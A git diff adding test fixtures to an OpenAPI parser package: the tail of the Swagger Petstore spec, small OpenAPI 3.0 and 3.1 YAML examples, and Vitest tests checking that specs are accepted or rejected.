+      "externalDocs": {
+        "description": "Find out more",
+        "url": "http://swagger.io"
+      }
+    },
+    {
+      "name": "store",
+      "description": "Access to Petstore orders"
+    },
+    {
+      "name": "user",
+      "description": "Operations about user",
+      "externalDocs": {
+        "description": "Find out more about our store",
+        "url": "http://swagger.io"
+      }
+    }
+  ],
+  "paths": {
+    "/pet": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Add a new pet to the store",
+        "description": "",
+        "operationId": "addPet",
+        "parameters": [],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/Pet"
+        }
+      },
+      "put": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Update an existing pet",
+        "description": "",
+        "operationId": "updatePet",
+        "parameters": [],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          },
+          "405": {
+            "description": "Validation exception"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "$ref": "#/components/requestBodies/Pet"
+        }
+      }
+    },
+    "/pet/findByStatus": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by status",
+        "description": "Multiple status values can be provided with comma separated strings",
+        "operationId": "findPetsByStatus",
+        "parameters": [
+          {
+            "name": "status",
+            "in": "query",
+            "description": "Status values that need to be considered for filter",
+            "required": true,
+            "explode": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string",
+                "enum": [
+                  "available",
+                  "pending",
+                  "sold"
+                ],
+                "default": "available"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid status value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/findByTags": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Finds Pets by tags",
+        "description": "Muliple tags can be provided with comma separated strings. Use tag1, tag2, tag3 for testing.",
+        "operationId": "findPetsByTags",
+        "parameters": [
+          {
+            "name": "tags",
+            "in": "query",
+            "description": "Tags to filter by",
+            "required": true,
+            "explode": true,
+            "schema": {
+              "type": "array",
+              "items": {
+                "type": "string"
+              }
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "array",
+                  "items": {
+                    "$ref": "#/components/schemas/Pet"
+                  }
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid tag value"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "deprecated": true
+      }
+    },
+    "/pet/{petId}": {
+      "get": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Find pet by ID",
+        "description": "Returns a single pet",
+        "operationId": "getPetById",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to return",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Pet"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      },
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Updates a pet in the store with form data",
+        "description": "",
+        "operationId": "updatePetWithForm",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet that needs to be updated",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "405": {
+            "description": "Invalid input"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/x-www-form-urlencoded": {
+              "schema": {
+                "type": "object",
+                "properties": {
+                  "name": {
+                    "type": "string"
+                  },
+                  "status": {
+                    "type": "string"
+                  }
+                }
+              }
+            }
+          },
+          "description": "Updated name of the pet"
+        }
+      },
+      "delete": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "Deletes a pet",
+        "description": "",
+        "operationId": "deletePet",
+        "parameters": [
+          {
+            "name": "api_key",
+            "in": "header",
+            "required": false,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "Pet id to delete",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Pet not found"
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ]
+      }
+    },
+    "/pet/{petId}/uploadImage": {
+      "post": {
+        "tags": [
+          "pet"
+        ],
+        "summary": "uploads an image",
+        "description": "",
+        "operationId": "uploadFile",
+        "parameters": [
+          {
+            "name": "petId",
+            "in": "path",
+            "description": "ID of pet to update",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ApiResponse"
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "petstore_auth": [
+              "write:pets",
+              "read:pets"
+            ]
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/octet-stream": {
+              "schema": {
+                "type": "string",
+                "format": "binary"
+              }
+            }
+          },
+          "description": "file to upload"
+        }
+      }
+    },
+    "/store/inventory": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Returns pet inventories by status",
+        "description": "Returns a map of status codes to quantities",
+        "operationId": "getInventory",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "additionalProperties": {
+                    "type": "integer",
+                    "format": "int32"
+                  }
+                }
+              }
+            }
+          }
+        },
+        "security": [
+          {
+            "api_key": []
+          }
+        ]
+      }
+    },
+    "/store/order": {
+      "post": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Place an order for a pet",
+        "description": "",
+        "operationId": "placeOrder",
+        "parameters": [],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid Order"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/Order"
+              }
+            }
+          },
+          "description": "order placed for purchasing the pet"
+        }
+      }
+    },
+    "/store/order/{orderId}": {
+      "get": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Find purchase order by ID",
+        "description": "For valid response try integer IDs with value >= 1 and <= 10. Other values will generated exceptions",
+        "operationId": "getOrderById",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of pet that needs to be fetched",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1,
+              "maximum": 10
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/Order"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      },
+      "delete": {
+        "tags": [
+          "store"
+        ],
+        "summary": "Delete purchase order by ID",
+        "description": "For valid response try integer IDs with positive integer value. Negative or non-integer values will generate API errors",
+        "operationId": "deleteOrder",
+        "parameters": [
+          {
+            "name": "orderId",
+            "in": "path",
+            "description": "ID of the order that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "integer",
+              "format": "int64",
+              "minimum": 1
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid ID supplied"
+          },
+          "404": {
+            "description": "Order not found"
+          }
+        }
+      }
+    },
+    "/user": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Create user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "createUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          },
+          "description": "Created user object"
+        }
+      }
+    },
+    "/user/createWithArray": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithArrayInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/UserArray"
+        }
+      }
+    },
+    "/user/createWithList": {
+      "post": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Creates list of users with given input array",
+        "description": "",
+        "operationId": "createUsersWithListInput",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        },
+        "requestBody": {
+          "$ref": "#/components/requestBodies/UserArray"
+        }
+      }
+    },
+    "/user/login": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs user into the system",
+        "description": "",
+        "operationId": "loginUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "query",
+            "description": "The user name for login",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          },
+          {
+            "name": "password",
+            "in": "query",
+            "description": "The password for login in clear text",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "headers": {
+              "X-Rate-Limit": {
+                "description": "calls per hour allowed by the user",
+                "schema": {
+                  "type": "integer",
+                  "format": "int32"
+                }
+              },
+              "X-Expires-After": {
+                "description": "date in UTC when token expires",
+                "schema": {
+                  "type": "string",
+                  "format": "date-time"
+                }
+              }
+            },
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "type": "string"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "type": "string"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username/password supplied"
+          }
+        }
+      }
+    },
+    "/user/logout": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Logs out current logged in user session",
+        "description": "",
+        "operationId": "logoutUser",
+        "parameters": [],
+        "responses": {
+          "default": {
+            "description": "successful operation"
+          }
+        }
+      }
+    },
+    "/user/{username}": {
+      "get": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Get user by user name",
+        "description": "",
+        "operationId": "getUserByName",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be fetched. Use user1 for testing. ",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "description": "successful operation",
+            "content": {
+              "application/xml": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              },
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/User"
+                }
+              }
+            }
+          },
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      },
+      "put": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Updated user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "updateUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "name that need to be updated",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid user supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        },
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          },
+          "description": "Updated user object"
+        }
+      },
+      "delete": {
+        "tags": [
+          "user"
+        ],
+        "summary": "Delete user",
+        "description": "This can only be done by the logged in user.",
+        "operationId": "deleteUser",
+        "parameters": [
+          {
+            "name": "username",
+            "in": "path",
+            "description": "The name that needs to be deleted",
+            "required": true,
+            "schema": {
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "400": {
+            "description": "Invalid username supplied"
+          },
+          "404": {
+            "description": "User not found"
+          }
+        }
+      }
+    }
+  },
+  "externalDocs": {
+    "description": "Find out more about Swagger",
+    "url": "http://swagger.io"
+  },
+  "components": {
+    "schemas": {
+      "Order": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "petId": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "quantity": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "shipDate": {
+            "type": "string",
+            "format": "date-time"
+          },
+          "status": {
+            "type": "string",
+            "description": "Order Status",
+            "enum": [
+              "placed",
+              "approved",
+              "delivered"
+            ]
+          },
+          "complete": {
+            "type": "boolean",
+            "default": false
+          }
+        },
+        "xml": {
+          "name": "Order"
+        }
+      },
+      "Category": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Category"
+        }
+      },
+      "User": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "username": {
+            "type": "string"
+          },
+          "firstName": {
+            "type": "string"
+          },
+          "lastName": {
+            "type": "string"
+          },
+          "email": {
+            "type": "string"
+          },
+          "password": {
+            "type": "string"
+          },
+          "phone": {
+            "type": "string"
+          },
+          "userStatus": {
+            "type": "integer",
+            "format": "int32",
+            "description": "User Status"
+          }
+        },
+        "xml": {
+          "name": "User"
+        }
+      },
+      "Tag": {
+        "type": "object",
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "name": {
+            "type": "string"
+          }
+        },
+        "xml": {
+          "name": "Tag"
+        }
+      },
+      "Pet": {
+        "type": "object",
+        "required": [
+          "name",
+          "photoUrls"
+        ],
+        "properties": {
+          "id": {
+            "type": "integer",
+            "format": "int64"
+          },
+          "category": {
+            "$ref": "#/components/schemas/Category"
+          },
+          "name": {
+            "type": "string",
+            "example": "doggie"
+          },
+          "photoUrls": {
+            "type": "array",
+            "xml": {
+              "name": "photoUrl",
+              "wrapped": true
+            },
+            "items": {
+              "type": "string"
+            }
+          },
+          "tags": {
+            "type": "array",
+            "xml": {
+              "name": "tag",
+              "wrapped": true
+            },
+            "items": {
+              "$ref": "#/components/schemas/Tag"
+            }
+          },
+          "status": {
+            "type": "string",
+            "description": "pet status in the store",
+            "enum": [
+              "available",
+              "pending",
+              "sold"
+            ]
+          }
+        },
+        "xml": {
+          "name": "Pet"
+        }
+      },
+      "ApiResponse": {
+        "type": "object",
+        "properties": {
+          "code": {
+            "type": "integer",
+            "format": "int32"
+          },
+          "type": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          }
+        }
+      }
+    },
+    "responses": {},
+    "parameters": {},
+    "examples": {},
+    "requestBodies": {
+      "Pet": {
+        "content": {
+          "application/json": {
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          },
+          "application/xml": {
+            "schema": {
+              "$ref": "#/components/schemas/Pet"
+            }
+          }
+        },
+        "description": "Pet object that needs to be added to the store"
+      },
+      "UserArray": {
+        "content": {
+          "application/json": {
+            "schema": {
+              "type": "array",
+              "items": {
+                "$ref": "#/components/schemas/User"
+              }
+            }
+          }
+        },
+        "description": "List of user object"
+      }
+    },
+    "securitySchemes": {
+      "petstore_auth": {
+        "type": "oauth2",
+        "flows": {
+          "implicit": {
+            "authorizationUrl": "http://petstore.swagger.io/oauth/dialog",
+            "scopes": {
+              "write:pets": "modify pets in your account",
+              "read:pets": "read your pets"
+            }
+          }
+        }
+      },
+      "api_key": {
+        "type": "apiKey",
+        "name": "api_key",
+        "in": "header"
+      }
+    },
+    "headers": {}
+  }
+}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.yaml
new file mode 100644
index 0000000..0902e09
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/openapi.yaml
@@ -0,0 +1,5 @@
+openapi: 3.0.0
+info:
+  title: API
+  version: 1.0.0
+paths: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.json b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.json
new file mode 100644
index 0000000..e69de29
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.yaml
new file mode 100644
index 0000000..002ce0b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/swagger.yaml
@@ -0,0 +1,12 @@
+swagger: "2.0"
+info:
+  title: API
+  version: 1.0.0
+paths:
+ /:
+   get:
+     description: ''
+     responses:
+       '200':
+         description: ''
+         
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test-oas3.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test-oas3.yaml
new file mode 100644
index 0000000..e69de29
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test-openapi.json b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test-openapi.json
new file mode 100644
index 0000000..e69de29
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.json b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.json
new file mode 100644
index 0000000..e69de29
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.oas3 b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.oas3
new file mode 100644
index 0000000..e69de29
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/swagger2openapi/test.yaml
new file mode 100644
index 0000000..e69de29
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/resources/include.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/resources/include.yaml
new file mode 100644
index 0000000..d9b551b
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/resources/include.yaml
@@ -0,0 +1,11 @@
+paths:
+  '/test':
+    get:
+      responses:
+        '200':
+          description: OK
+  '/':
+    get:
+      responses:
+        '200':
+          description: OK
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/resources/myobject.yml b/packages/openapi-parser/tests/openapi3-examples/3.0/resources/myobject.yml
new file mode 100644
index 0000000..64fe131
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.0/resources/myobject.yml
@@ -0,0 +1,9 @@
+resource:
+  SomeObject:
+    name: SomeObject #Intentionally invalid
+    type: object #Intentionally Invalid
+    properties:
+      Id:
+        type: string
+        format: uuid
+        example: 'd2014f64-ffdf-487b-8d12-67a20976aca6'
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.test.ts
new file mode 100644
index 0000000..b1e7433
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import no_containers from './no_containers.yaml'
+
+describe('no_containers', () => {
+  it('returns an error', async () => {
+    const result = await resolve(no_containers)
+
+    // TODO: Fix the expected error message should mention 'paths'
+    expect(result.errors?.[0]?.error).toBe(
+      `must have required property 'webhooks'`,
+    )
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.yaml
new file mode 100644
index 0000000..593feff
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/no_containers.yaml
@@ -0,0 +1,4 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.test.ts
new file mode 100644
index 0000000..dd6bc33
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import server_enum_empty from './server_enum_empty.yaml'
+
+describe('server_enum_empty', () => {
+  it('returns an error', async () => {
+    const result = await resolve(server_enum_empty)
+
+    // TODO: The error should return something related to the empty enum
+    expect(result.errors?.[0]?.error).toBe(
+      `: format must match format "uri-reference"`,
+    )
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.yaml
new file mode 100644
index 0000000..62d751e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_empty.yaml
@@ -0,0 +1,11 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+servers:
+  - url: https://example.com/{var}
+    variables:
+      var:
+        enum: []
+        default: a
+components: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.test.ts
new file mode 100644
index 0000000..ade6f28
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import server_enum_unknown from './server_enum_unknown.yaml'
+
+describe('server_enum_unknown', () => {
+  it('returns an error', async () => {
+    const result = await resolve(server_enum_unknown)
+
+    // TODO: The message should return something related to the unknown enum value
+    expect(result.errors?.[0]?.error).toBe(
+      `: format must match format "uri-reference"`,
+    )
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.yaml
new file mode 100644
index 0000000..eb8c8f6
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/server_enum_unknown.yaml
@@ -0,0 +1,12 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+servers:
+  - url: https://example.com/{var}
+    variables:
+      var:
+        enum:
+        - a
+        default: b
+components: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.test.ts
new file mode 100644
index 0000000..38a9f23
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.test.ts
@@ -0,0 +1,16 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import unknown_container from './unknown_container.yaml'
+
+describe('unknown_container', () => {
+  it('returns an error', async () => {
+    const result = await resolve(unknown_container)
+
+    // TODO: The message should complain about the unknown container
+    expect(result.errors?.[0]?.error).toBe(
+      `must have required property 'webhooks'`,
+    )
+    expect(result.valid).toBe(false)
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.yaml
new file mode 100644
index 0000000..e0565f4
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/fail/unknown_container.yaml
@@ -0,0 +1,5 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+overlays: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.test.ts
new file mode 100644
index 0000000..94290ff
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import comp_pathitems from './comp_pathitems.yaml'
+
+describe('comp_pathitems', () => {
+  it('passes', async () => {
+    const result = await resolve(comp_pathitems)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.yaml
new file mode 100644
index 0000000..502ca1f
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/comp_pathitems.yaml
@@ -0,0 +1,6 @@
+openapi: 3.1.0
+info:
+  title: API
+  version: 1.0.0
+components:
+  pathItems: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.test.ts
new file mode 100644
index 0000000..8c2b7ea
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import info_summary from './info_summary.yaml'
+
+describe('info_summary', () => {
+  it('passes', async () => {
+    const result = await resolve(info_summary)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.yaml
new file mode 100644
index 0000000..30d224a
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/info_summary.yaml
@@ -0,0 +1,6 @@
+openapi: 3.1.0
+info:
+  title: API
+  summary: My lovely API
+  version: 1.0.0
+components: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.test.ts
new file mode 100644
index 0000000..141e843
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import license_identifier from './license_identifier.yaml'
+
+describe('license_identifier', () => {
+  it('passes', async () => {
+    const result = await resolve(license_identifier)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.yaml
new file mode 100644
index 0000000..fbdba5e
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/license_identifier.yaml
@@ -0,0 +1,9 @@
+openapi: 3.1.0
+info:
+  title: API
+  summary: My lovely API
+  version: 1.0.0
+  license:
+    name: Apache
+    identifier: Apache-2.0
+components: {}
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.test.ts b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.test.ts
new file mode 100644
index 0000000..4d50013
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolve } from '../../../../src'
+import mega from './mega.yaml'
+
+describe('mega', () => {
+  it('passes', async () => {
+    const result = await resolve(mega)
+    expect(result.valid).toBe(true)
+    expect(result.errors).toBeUndefined()
+    expect(result.version).toBe('3.1')
+  })
+})
diff --git a/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.yaml b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.yaml
new file mode 100644
index 0000000..64b4b17
--- /dev/null
+++ b/packages/openapi-parser/tests/openapi3-examples/3.1/pass/mega.yaml
@@ -0,0 +1,50 @@
+openapi: 3.1.0
+info:
+  summary: My API's summary
+  title: My API
+  version: 1.0.0
+  license:
+    name: Apache 2.0
+    identifier: Apache-2.0
+jsonSchemaDialect: https://spec.openapis.org/oas/3.1/dialect/base
+paths:
+  /:
+    get:
+      parameters: []
